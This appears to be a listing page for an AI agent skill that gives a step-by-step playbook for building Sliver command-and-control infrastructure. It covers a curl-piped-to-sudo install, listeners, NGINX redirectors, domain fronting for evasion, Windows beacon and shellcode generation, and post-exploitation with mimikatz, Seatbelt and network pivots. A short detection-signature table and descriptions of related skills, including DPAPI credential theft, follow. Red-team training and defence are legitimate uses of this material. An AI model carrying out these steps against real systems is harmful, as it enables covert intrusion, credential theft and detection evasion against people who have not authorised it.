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building-c2-infrastructure-with-sliver-framework

Deploy and harden a Sliver C2 team server (BishopFox

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building-c2-infrastructure-with-sliver-framework is a Claude Code agent skill that deploy and harden a Sliver C2 team server (BishopFox.

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說明文件

Building C2 Infrastructure with Sliver Framework

Overview

Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.

When to Use

  • When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment
  • When establishing security controls aligned to compliance requirements
  • When building or improving security architecture for this domain
  • When conducting security assessments that require this implementation

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Deploy a Sliver team server on hardened cloud infrastructure
  • Configure HTTPS, mTLS, DNS, and WireGuard listeners
  • Generate implants (beacons and sessions) for target platforms
  • Set up NGINX or Apache redirectors between implants and the team server
  • Implement Cloudflare or CDN-based domain fronting for traffic obfuscation
  • Configure multi-operator access with certificate-based authentication
  • Establish operational security controls for C2 communications

MITRE ATT&CK Mapping

  • T1071.001 - Application Layer Protocol: Web Protocols
  • T1071.004 - Application Layer Protocol: DNS
  • T1573.002 - Encrypted Channel: Asymmetric Cryptography
  • T1090.002 - Proxy: External Proxy (Redirectors)
  • T1105 - Ingress Tool Transfer
  • T1132.001 - Data Encoding: Standard Encoding
  • T1572 - Protocol Tunneling

Workflow

Phase 1: Team Server Deployment

  1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server
  2. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban
  3. Install Sliver using the official install script:
    curl https://sliver.sh/install | sudo bash
    
  4. Start the Sliver server daemon:
    systemctl start sliver
    # Or run interactively
    sliver-server
    
  5. Generate operator configuration files for team members:
    new-operator --name operator1 --lhost <team-server-ip>
    

Phase 2: Listener Configuration

  1. Configure an HTTPS listener with a legitimate SSL certificate:
    https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
    
  2. Configure a DNS listener for fallback C2:
    dns --domains c2dns.example.com --lport 53
    
  3. Configure mTLS listener for high-security sessions:
    mtls --lhost 0.0.0.0 --lport 8888
    
  4. Configure WireGuard listener for tunneled access:
    wg --lport 51820
    

Phase 3: Redirector Setup

  1. Deploy a separate VPS as a redirector (positioned between targets and team server)
  2. Install and configure NGINX as a reverse proxy:
    server {
        listen 443 ssl;
        server_name c2.example.com;
        ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
    
        location / {
            proxy_pass https://<team-server-ip>:443;
            proxy_ssl_verify off;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
    
  3. Configure iptables rules on the team server to only accept connections from the redirector:
    iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
    iptables -A INPUT -p tcp --dport 443 -j DROP
    
  4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting

Phase 4: Implant Generation

  1. Generate an HTTPS beacon implant:
    generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
    
  2. Generate a DNS beacon for restricted networks:
    generate beacon --dns c2dns.example.com --os windows --arch amd64
    
  3. Generate a shellcode payload for injection:
    generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
    
  4. Configure beacon jitter and callback intervals:
    generate beacon --http https://c2.example.com --seconds 60 --jitter 30
    

Phase 5: Post-Exploitation Operations

  1. Interact with active beacons/sessions:
    beacons        # List active beacons
    use <beacon-id> # Interact with a beacon
    
  2. Execute post-exploitation modules:
    ps              # Process listing
    netstat         # Network connections
    execute-assembly /path/to/Seatbelt.exe -group=all  # Run .NET assemblies
    sideload /path/to/mimikatz.dll  # Load DLLs
    
  3. Set up pivots for internal network access:
    pivots tcp --bind 0.0.0.0:9898  # Create pivot listener on compromised host
    
  4. Use BOF (Beacon Object Files) for in-memory execution:
    armory install sa-ldapsearch  # Install from armory
    sa-ldapsearch -- "(objectClass=user)"  # Execute BOF
    

Tools and Resources

ToolPurposePlatform
Sliver ServerC2 team server and implant managementLinux/macOS/Windows
Sliver ClientOperator console for team membersCross-platform
NGINXRedirector and reverse proxyLinux
CertbotLet's Encrypt SSL certificate generationLinux
CloudflareCDN and domain frontingCloud
ArmorySliver extension/BOF package managerBuilt-in

Detection Signatures

IndicatorDetection Method
Default Sliver HTTP headersNetwork traffic analysis for unusual User-Agent strings
mTLS on non-standard portsFirewall logs for outbound connections to unusual ports
DNS TXT record queries with high entropyDNS log analysis for encoded C2 traffic
WireGuard UDP traffic on port 51820Network flow analysis for WireGuard handshake patterns
Sliver implant file hashesEDR/AV signature matching against known Sliver samples

Validation Criteria

  • Team server deployed and hardened with firewall rules
  • HTTPS listener configured with valid SSL certificate
  • DNS listener configured as fallback C2 channel
  • At least one redirector deployed between targets and team server
  • Multi-operator access configured with unique certificates
  • Implants generated for target operating systems
  • Beacon callback intervals and jitter configured for stealth
  • Post-exploitation modules tested (process listing, .NET assembly execution)
  • Pivot functionality validated for internal network access
  • All C2 traffic encrypted and passing through redirectors

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

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